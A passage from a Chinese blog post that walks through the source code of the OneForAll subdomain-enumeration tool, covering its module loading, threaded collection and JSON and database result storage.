class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Collect</span>(<span class="params">object</span>):</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, domain</span>):</span></span><br><span class="line"> self.domain = domain</span><br><span class="line"> self.modules = []</span><br><span class="line"> self.collect_funcs = []</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">run</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Class entrance</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Start collecting subdomains of <span class="subst">{self.domain}</span>'</span>)</span><br><span class="line"> self.get_mod()</span><br><span class="line"> self.import_func()</span><br><span class="line"> <span class="comment"># 注意上面这两个函数</span></span><br><span class="line"> threads = []</span><br><span class="line"> <span class="comment"># Create subdomain collection threads</span></span><br><span class="line"> <span class="keyword">for</span> func_obj, func_name <span class="keyword">in</span> self.collect_funcs:</span><br><span class="line"> thread = threading.Thread(target=func_obj, name=func_name,</span><br><span class="line"> args=(self.domain,), daemon=<span class="literal">True</span>)</span><br><span class="line"> threads.append(thread)</span><br><span class="line"> <span class="comment"># Start all threads</span></span><br><span class="line"> <span class="keyword">for</span> thread <span class="keyword">in</span> threads:</span><br><span class="line"> thread.start()</span><br><span class="line"> <span class="comment"># Wait for all threads to finish</span></span><br><span class="line"> <span class="keyword">for</span> thread <span class="keyword">in</span> threads:</span><br><span class="line"> <span class="comment"># 挨个线程判断超时 最坏情况主线程阻塞时间=线程数*module_thread_timeout</span></span><br><span class="line"> <span class="comment"># 超时线程将脱离主线程 由于创建线程时已添加守护属于 所有超时线程会随着主线程结束</span></span><br><span class="line"> thread.join(settings.module_thread_timeout)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> thread <span class="keyword">in</span> threads:</span><br><span class="line"> <span class="keyword">if</span> thread.is_alive():</span><br><span class="line"> logger.log(<span class="string">'ALERT'</span>, <span class="string">f'<span class="subst">{thread.name}</span> module thread timed out'</span>)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_mod</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Get modules</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">if</span> settings.enable_all_module:</span><br><span class="line"> <span class="comment"># The crawl module has some problems</span></span><br><span class="line"> modules = [<span class="string">'certificates'</span>, <span class="string">'check'</span>, <span class="string">'datasets'</span>,</span><br><span class="line"> <span class="string">'dnsquery'</span>, <span class="string">'intelligence'</span>, <span class="string">'search'</span>]</span><br><span class="line"> <span class="keyword">for</span> module <span class="keyword">in</span> modules:</span><br><span class="line"> module_path = settings.module_dir.joinpath(module)</span><br><span class="line"> <span class="keyword">for</span> path <span class="keyword">in</span> module_path.rglob(<span class="string">'*.py'</span>):</span><br><span class="line"> import_module = <span class="string">f'modules.<span class="subst">{module}</span>.<span class="subst">{path.stem}</span>'</span></span><br><span class="line"> self.modules.append(import_module)</span><br><span class="line"> <span class="comment"># modules文件导入</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> self.modules = settings.enable_partial_module</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220128210212802.png" alt="image-20220128210212802"></p><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220128210305822.png" alt="image-20220128210305822"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">import_func</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Import do function</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">for</span> module <span class="keyword">in</span> self.modules:</span><br><span class="line"> name = module.split(<span class="string">'.'</span>)[<span class="number">-1</span>]</span><br><span class="line"> import_object = importlib.import_module(module)</span><br><span class="line"> func = getattr(import_object, <span class="string">'run'</span>)</span><br><span class="line"> self.collect_funcs.append([func, name])</span><br><span class="line"> <span class="comment"># 获取module每个py文件run方法</span></span><br></pre></td></tr></table></figure><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220128210609934.png" alt="image-20220128210609934"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> func_obj, func_name <span class="keyword">in</span> self.collect_funcs:</span><br><span class="line"> thread = threading.Thread(target=func_obj, name=func_name,</span><br><span class="line"> args=(self.domain,), daemon=<span class="literal">True</span>)</span><br><span class="line"> threads.append(thread)</span><br></pre></td></tr></table></figure><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220128210814574.png" alt="image-20220128210814574"></p><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220128210928802.png" alt="image-20220128210928802"></p><blockquote><p>modules每个py文件模板差不多都长这样</p></blockquote><p>因此,这里用到了继承,也重点关注下这块的代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> common.query <span class="keyword">import</span> Query</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CensysAPI</span>(<span class="params">Query</span>):</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run</span>():</span></span><br><span class="line"> self.begin()</span><br><span class="line"> self.query()//除了query,其他方法均继承与Query类</span><br><span class="line"> self.finish()</span><br><span class="line"> self.save_json()</span><br><span class="line"> self.gen_result()</span><br><span class="line"> self.save_db()</span><br></pre></td></tr></table></figure><p><code>Query</code>继承于<code>Module</code>类</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">from common.module import Module</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">class Query(Module):</span><br><span class="line"> """</span><br><span class="line"> Query base class</span><br><span class="line"> """</span><br><span class="line"> def __init__(self):</span><br><span class="line"> Module.__init__(self)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Module</span>(<span class="params">object</span>):</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self</span>):</span></span><br><span class="line"> self.module = <span class="string">'Module'</span></span><br><span class="line"> self.source = <span class="string">'BaseModule'</span></span><br><span class="line"> self.cookie = <span class="literal">None</span></span><br><span class="line"> self.header = dict()</span><br><span class="line"> self.proxy = <span class="literal">None</span></span><br><span class="line"> self.delay = <span class="number">1</span> <span class="comment"># 请求睡眠时延</span></span><br><span class="line"> self.timeout = settings.request_timeout_second <span class="comment"># 请求超时时间</span></span><br><span class="line"> self.verify = settings.request_ssl_verify <span class="comment"># 请求SSL验证</span></span><br><span class="line"> self.domain = str() <span class="comment"># 当前进行子域名收集的主域</span></span><br><span class="line"> self.subdomains = set() <span class="comment"># 存放发现的子域</span></span><br><span class="line"> self.infos = dict() <span class="comment"># 存放子域有关信息</span></span><br><span class="line"> self.results = list() <span class="comment"># 存放模块结果</span></span><br><span class="line"> self.start = time.time() <span class="comment"># 模块开始执行时间</span></span><br><span class="line"> self.end = <span class="literal">None</span> <span class="comment"># 模块结束执行时间</span></span><br><span class="line"> self.elapse = <span class="literal">None</span> <span class="comment"># 模块执行耗时</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">begin</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> begin log</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'Start <span class="subst">{self.source}</span> module to '</span></span><br><span class="line"> <span class="string">f'collect subdomains of <span class="subst">{self.domain}</span>'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">finish</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> finish log</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> self.end = time.time()</span><br><span class="line"> self.elapse = round(self.end - self.start, <span class="number">1</span>)</span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'Finished <span class="subst">{self.source}</span> module to '</span></span><br><span class="line"> <span class="string">f'collect <span class="subst">{self.domain}</span>\'s subdomains'</span>)</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'<span class="subst">{self.source}</span> module took <span class="subst">{self.elapse}</span> seconds '</span></span><br><span class="line"> <span class="string">f'found <span class="subst">{len(self.subdomains)}</span> subdomains'</span>)</span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'<span class="subst">{self.source}</span> module found subdomains of <span class="subst">{self.domain}</span>\n'</span></span><br><span class="line"> <span class="string">f'<span class="subst">{self.subdomains}</span>'</span>)</span><br><span class="line"> .......</span><br><span class="line"> .......</span><br><span class="line"> .......</span><br><span class="line"> <span class="comment"># 重写了get,post,head等请求</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">save_json</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Save the results of each module as a json file</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :return bool: whether saved successfully</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> settings.save_module_result:</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"> logger.log(<span class="string">'TRACE'</span>, <span class="string">f'Save the subdomain results found by '</span></span><br><span class="line"> <span class="string">f'<span class="subst">{self.source}</span> module as a json file'</span>)</span><br><span class="line"> path = settings.result_save_dir.joinpath(self.domain, self.module)</span><br><span class="line"> path.mkdir(parents=<span class="literal">True</span>, exist_ok=<span class="literal">True</span>)</span><br><span class="line"> name = self.source + <span class="string">'.json'</span></span><br><span class="line"> path = path.joinpath(name)</span><br><span class="line"> <span class="keyword">with</span> open(path, mode=<span class="string">'w'</span>, errors=<span class="string">'ignore'</span>) <span class="keyword">as</span> file:</span><br><span class="line"> result = {<span class="string">'domain'</span>: self.domain,</span><br><span class="line"> <span class="string">'name'</span>: self.module,</span><br><span class="line"> <span class="string">'source'</span>: self.source,</span><br><span class="line"> <span class="string">'elapse'</span>: self.elapse,</span><br><span class="line"> <span class="string">'find'</span>: len(self.subdomains),</span><br><span class="line"> <span class="string">'subdomains'</span>: list(self.subdomains),</span><br><span class="line"> <span class="string">'infos'</span>: self.infos}</span><br><span class="line"> json.dump(result, file, ensure_ascii=<span class="literal">False</span>, indent=<span class="number">4</span>)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">gen_result</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Generate results</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'Generating final results'</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> len(self.subdomains): <span class="comment"># 该模块一个子域都没有发现的情况</span></span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'<span class="subst">{self.source}</span> module result is empty'</span>)</span><br><span class="line"> result = {<span class="string">'id'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'alive'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'request'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'resolve'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'url'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'subdomain'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'port'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'level'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'cname'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'ip'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'public'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'cdn'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'status'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'reason'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'title'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'banner'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'header'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'history'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'response'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'ip_times'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'cname_times'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'ttl'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'cidr'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'asn'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'org'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'addr'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'isp'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'resolver'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'module'</span>: self.module,</span><br><span class="line"> <span class="string">'source'</span>: self.source,</span><br><span class="line"> <span class="string">'elapse'</span>: self.elapse,</span><br><span class="line"> <span class="string">'find'</span>: <span class="literal">None</span>}</span><br><span class="line"> self.results.append(result)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">for</span> subdomain <span class="keyword">in</span> self.subdomains:</span><br><span class="line"> url = <span class="string">'http://'</span> + subdomain</span><br><span class="line"> level = subdomain.count(<span class="string">'.'</span>) - self.domain.count(<span class="string">'.'</span>)</span><br><span class="line"> info = self.infos.get(subdomain)</span><br><span class="line"> <span class="keyword">if</span> info <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"> info = dict()</span><br><span class="line"> cname = info.get(<span class="string">'cname'</span>)</span><br><span class="line"> ip = info.get(<span class="string">'ip'</span>)</span><br><span class="line"> ip_times = info.get(<span class="string">'ip_times'</span>)</span><br><span class="line"> cname_times = info.get(<span class="string">'cname_times'</span>)</span><br><span class="line"> ttl = info.get(<span class="string">'ttl'</span>)</span><br><span class="line"> <span class="keyword">if</span> isinstance(cname, list):</span><br><span class="line"> cname = <span class="string">','</span>.join(cname)</span><br><span class="line"> ip = <span class="string">','</span>.join(ip)</span><br><span class="line"> ip_times = <span class="string">','</span>.join([str(num) <span class="keyword">for</span> num <span class="keyword">in</span> ip_times])</span><br><span class="line"> cname_times = <span class="string">','</span>.join([str(num) <span class="keyword">for</span> num <span class="keyword">in</span> cname_times])</span><br><span class="line"> ttl = <span class="string">','</span>.join([str(num) <span class="keyword">for</span> num <span class="keyword">in</span> ttl])</span><br><span class="line"> result = {<span class="string">'id'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'alive'</span>: info.get(<span class="string">'alive'</span>),</span><br><span class="line"> <span class="string">'request'</span>: info.get(<span class="string">'request'</span>),</span><br><span class="line"> <span class="string">'resolve'</span>: info.get(<span class="string">'resolve'</span>),</span><br><span class="line"> <span class="string">'url'</span>: url,</span><br><span class="line"> <span class="string">'subdomain'</span>: subdomain,</span><br><span class="line"> <span class="string">'port'</span>: <span class="number">80</span>,</span><br><span class="line"> <span class="string">'level'</span>: level,</span><br><span class="line"> <span class="string">'cname'</span>: cname,</span><br><span class="line"> <span class="string">'ip'</span>: ip,</span><br><span class="line"> <span class="string">'public'</span>: info.get(<span class="string">'public'</span>),</span><br><span class="line"> <span class="string">'cdn'</span>: info.get(<span class="string">'cdn'</span>),</span><br><span class="line"> <span class="string">'status'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'reason'</span>: info.get(<span class="string">'reason'</span>),</span><br><span class="line"> <span class="string">'title'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'banner'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'header'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'history'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'response'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'ip_times'</span>: ip_times,</span><br><span class="line"> <span class="string">'cname_times'</span>: cname_times,</span><br><span class="line"> <span class="string">'ttl'</span>: ttl,</span><br><span class="line"> <span class="string">'cidr'</span>: info.get(<span class="string">'cidr'</span>),</span><br><span class="line"> <span class="string">'asn'</span>: info.get(<span class="string">'asn'</span>),</span><br><span class="line"> <span class="string">'org'</span>: info.get(<span class="string">'org'</span>),</span><br><span class="line"> <span class="string">'addr'</span>: info.get(<span class="string">'addr'</span>),</span><br><span class="line"> <span class="string">'isp'</span>: info.get(<span class="string">'isp'</span>),</span><br><span class="line"> <span class="string">'resolver'</span>: info.get(<span class="string">'resolver'</span>),</span><br><span class="line"> <span class="string">'module'</span>: self.module,</span><br><span class="line"> <span class="string">'source'</span>: self.source,</span><br><span class="line"> <span class="string">'elapse'</span>: self.elapse,</span><br><span class="line"> <span class="string">'find'</span>: len(self.subdomains)}</span><br><span class="line"> self.results.append(result)</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">save_db</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Save module results into the database</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'Saving results to database'</span>)</span><br><span class="line"> lock.acquire()</span><br><span class="line"> db = Database()</span><br><span class="line"> db.create_table(self.domain)</span><br><span class="line"> db.save_db(self.domain, self.results, self.source)</span><br><span class="line"> db.close()</span><br><span class="line"> lock.release()</span><br></pre></td></tr></table></figure><p>单独拎出来:(不重要的省略,但是不影响后面分析)</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run</span>():</span></span><br><span class="line"> self.begin()<span class="comment"># 输出日志</span></span><br><span class="line"> self.query()<span class="comment"># 除了query,其他方法均继承与Query类</span></span><br><span class="line"> self.finish()<span class="comment"># 输出日志,计算query用了多少时间</span></span><br><span class="line"> self.save_json() <span class="comment"># 保存json</span></span><br><span class="line"> self.gen_result()</span><br><span class="line"> self.save_db()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">save_json()</span><br><span class="line">name = self.source + <span class="string">'.json'</span></span><br><span class="line"> path = path.joinpath(name)</span><br><span class="line"> <span class="keyword">with</span> open(path, mode=<span class="string">'w'</span>, errors=<span class="string">'ignore'</span>) <span class="keyword">as</span> file:</span><br><span class="line"> result = {<span class="string">'domain'</span>: self.domain,</span><br><span class="line"> <span class="string">'name'</span>: self.module,</span><br><span class="line"> <span class="string">'source'</span>: self.source,</span><br><span class="line"> <span class="string">'elapse'</span>: self.elapse,</span><br><span class="line"> <span class="string">'find'</span>: len(self.subdomains),</span><br><span class="line"> <span class="string">'subdomains'</span>: list(self.subdomains),</span><br><span class="line"> <span class="string">'infos'</span>: self.infos}</span><br><span class="line"> json.dump(result, file, ensure_ascii=<span class="literal">False</span>, indent=<span class="number">4</span>)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gen_result()</span><br><span class="line">result = ......</span><br><span class="line">self.results.append(result)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">save_db(self):</span><br><span class="line">db.save_db(self.domain, self.results, self.source)<span class="comment"># 重点可以如何存储的数据</span></span><br><span class="line">这里用了多线程</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">save_db</span>(<span class="params">self, table_name, results, module_name=None</span>):</span></span><br><span class="line"> table_name = table_name.replace(<span class="string">'.'</span>, <span class="string">'_'</span>)</span><br><span class="line"> <span class="keyword">if</span> results:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> self.conn.bulk_query(insert data sql)</span><br><span class="line"> <span class="comment"># self.conn = self.get_conn(db_path)</span></span><br><span class="line"> <span class="comment"># return db.get_connection()</span></span><br><span class="line"> <span class="comment"># Connection(self._engine.connect())</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">bulk_query</span>(<span class="params">self, query, *multiparams</span>):</span></span><br><span class="line">self._conn.execute(text(query), *multiparams)</span><br><span class="line"> <span class="comment"># self._conn = Connection(self._engine.connect())</span></span><br><span class="line"><span class="comment"># 这里挺绕的😅</span></span><br></pre></td></tr></table></figure><ul><li><p>collect模块跑完了,最终数据都在self.results(这其中,跑完一个小模块,存数据,边跑边存)</p><ul><li><font color="red">注意:此时的数据还未进行解析验证、http请求等</font></li><li>后续还有对其导出再删除表再新建表重新插入数据的操作</li></ul></li></ul><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220203112653299.png" alt="image-20220203112653299"><code>Collect()</code>总结图如下:</p><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/OneForAll%20Collect.png" alt="OneForAll Collect"></p><h4 id="0x2-2-3-BruteSRV"><a href="#0x2-2-3-BruteSRV" class="headerlink" title="0x2.2.3 BruteSRV"></a>0x2.2.3 BruteSRV</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 回到 oneforall.py - 161行</span></span><br><span class="line">srv = BruteSRV(self.domain)</span><br><span class="line">srv.run()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 